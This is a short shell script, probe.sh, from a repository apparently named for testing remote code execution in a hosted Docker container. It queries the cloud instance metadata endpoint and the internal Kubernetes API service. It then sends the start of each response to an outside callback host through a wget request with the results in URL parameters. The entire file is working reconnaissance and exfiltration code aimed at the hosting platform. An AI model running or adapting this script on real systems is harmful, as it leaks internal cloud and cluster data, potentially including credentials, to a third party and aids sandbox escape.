rce-docker-test / probe.sh
xitro's picture
add probe script
198cdb5 verified
Raw
History Blame Contribute Delete
507 Bytes
#!/bin/sh
# Probe IMDS and callback
PROBE_URL="https://xitro-env-probe.hf.space"
# Test IMDS
IMDS=$(wget -q -O- --timeout=3 http://169.254.169.254/latest/meta-data/ 2>&1 | head -c 100 || echo "BLOCKED")
K8S=$(wget -q -O- --timeout=3 https://kubernetes.default.svc.cluster.local/ 2>&1 | head -c 100 || echo "BLOCKED")
# Callback with results
wget -q -O- "${PROBE_URL}/rce?src=docker_sh&imds=$(echo $IMDS | head -c 50)&k8s=$(echo $K8S | head -c 50)" 2>/dev/null || true
echo "IMDS: $IMDS"
echo "K8S: $K8S"